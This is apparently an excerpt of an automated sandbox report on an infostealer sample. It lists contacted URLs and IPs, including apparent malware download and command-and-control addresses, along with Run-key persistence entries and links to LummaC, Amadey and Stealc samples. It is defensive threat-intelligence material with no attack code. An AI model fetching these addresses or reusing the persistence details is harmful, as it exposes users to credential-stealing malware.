0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2182444085.0000000005776000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3092399060.0000000005E37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BDB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EE3000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3201383753.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2182444085.0000000005776000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3092399060.0000000005E37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BDB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EE3000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3201383753.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpindows	ef2532c0b1.exe, 0000000C.00000002.3014293851.00000000015F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001B.00000003.3221206285.000001708BF77000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/outcomes	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestDataCollectionEnabledhttp://mozilla.org/#/properties/qui	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/=	file.exe, 00000000.00000003.2142550438.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134448591.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142391592.0000000000A83000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134302834.0000000000A83000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/workshop/	file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	26e226f915.exe, 0000000D.00000003.3094784478.0000000006106000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3204452985.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/	26e226f915.exe, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://json-schema.org/draft-07/schema#Instance	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001B.00000003.3129585316.000001708BE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3280899223.0000017081FC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3129585316.000001708BE81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BDCD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BDF5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3255924567.000001E2F2600000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.co.uk/	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.com/recommendationsDisplays	firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/steam/random.exe0	file.exe, 00000000.00000003.2312038397.0000000000B10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313035621.0000000000B12000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=e	26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/schemaVersionhttp://mozilla.org/#/properties/appNamehttp://mozilla.o	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com	26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.0000000001137000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&	file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mobbipenju.store:443/api	file.exe, 00000000.00000003.2134302834.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142391592.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	file.exe, 00000000.00000003.2134302834.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.0000000001137000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://watch.sling.com/	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B8F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.53.8	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.185.206	youtube.com	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541351
Start date and time:	2024-10-24 18:07:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@73/30@104/12
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.13.186.250, 34.208.54.237, 44.231.229.39, 172.217.18.106
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, shavar.prod.mozaws.net, otelrules.azureedge.net, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, safebrowsing.googleapis.com, location.services.mozilla.com
Execution Graph export aborted for target 26e226f915.exe, PID 4020 because there are no executed function
Execution Graph export aborted for target 9NWW1UIUAOJA8NFOZHWEDA.exe, PID 1340 because there are no executed function
Execution Graph export aborted for target ST44OD0PMG8MCMYJRN4.exe, PID 1824 because it is empty
Execution Graph export aborted for target ef2532c0b1.exe, PID 1016 because there are no executed function
Execution Graph export aborted for target file.exe, PID 7160 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 6416 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:07:59	API Interceptor	14x Sleep call for process: file.exe modified
12:09:01	API Interceptor	15065x Sleep call for process: skotes.exe modified
12:09:15	API Interceptor	35x Sleep call for process: 26e226f915.exe modified
12:10:00	API Interceptor	25x Sleep call for process: PPP8FUHMDUG38MZT5OEEJAB.exe modified
18:07:49	Task Scheduler	Run new task: {A6B9554A-0C08-490B-AA19-6C9CD0936A7E} path:
18:08:21	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
18:09:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 26e226f915.exe C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe
18:09:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 26e226f915.exe C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe
18:09:34	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ef2532c0b1.exe C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe
18:09:42	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 90bef5afae.exe C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe
18:09:51	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1001229001\num.exe
18:10:04	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ef2532c0b1.exe C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe
18:10:15	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 90bef5afae.exe C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.53.8	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	msqT9atzYW.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
34.117.188.166	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
twitter.com	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Unknown	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
sergei-esenin.com	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.206.204
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35
	ATT25322.html	Get hash	malicious	Unknown	Browse	157.240.0.35
	file.exe	Get hash	malicious	Unknown	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35
	https://app.writesonic.com/share/writing-assistant/d140c48b-3642-43bf-a085-e258c1fb4f03	Get hash	malicious	Unknown	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	Payment for outstanding statements.pdf	Get hash	malicious	HTMLPhisher	Browse	34.117.77.79
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	kQyd2z80gD.exe	Get hash	malicious	DCRat	Browse	34.117.59.81
CLOUDFLARENETUS	https://egift.activationshub.com/gift-card/view/8lPFUrjq1LGzg7JHwS8hJJRdL	Get hash	malicious	Unknown	Browse	172.67.68.47
	http://hybrid-web.global.blackspider.com/urlwrap/?q=AXicLU67UsMwEFQBX0Gf0pbtkywxowHLiZgUDEXoGVmRjbFlJX4wk4bPgT-kJgpp9u72dnb35hZ9_SB0943Q2J8S1kTT-Bk53fbGD_Po-8h4h4C_yGb70WGgwAjaOz_q4TFAY41fhvk0mSXyY4Pe5_kw3cdxP3RRa-M8k0-72IqHZXZvRruDbptBrMLl7L5dnLAh60JMfhmNFbb3x0VfmFDBDrPYPO9Wtj--jtp0271IeaVxWlvNawq24rrmlPAKkyw3hGoetMLaNOFnloGugFFS1QmrM3IGAKg1DSLdBrM0veyzSMIsryXPOUnO_1-dYIUisgSKsdoknOWcZiBlmSvMVaZwLouSpIqRslBScsxYCkWZQUkobEByul4riRAivwj9ATUqckw&Z	Get hash	malicious	Unknown	Browse	104.26.11.204
	https://1drv.ms/o/c/76471f3776916fd0/EomjtsItbi9Ag0bnzrJDx08BhxVWepFoAXrJFoYeR9IZ0A?e=5%3aEFCh5b&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	104.21.56.85
	sadfwqefrqw3f.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Heur.11787.148.exe	Get hash	malicious	LummaC	Browse	172.67.194.239
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	https://www.canva.com/design/DAGUUU-VdiI/DdL4Z-_loK4X7NMMbGGnJg/view?utm_content=DAGUUU-VdiI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.16.103.112
	https://www.canva.com/design/DAGUUU-VdiI/DdL4Z-_loK4X7NMMbGGnJg/view?utm_content=DAGUUU-VdiI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.16.103.112
	https://www.cognitoforms.com/f/dPw6PjKRNEiTBIouwlWxQQ/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.17.24.14
	rPedidodecompra__PO20441__ARIMComponentes.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	SecuriteInfo.com.Heur.11787.148.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	StudioDemo.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	5Setup.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	PO%20K22012FA[1].docx	Get hash	malicious	Unknown	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
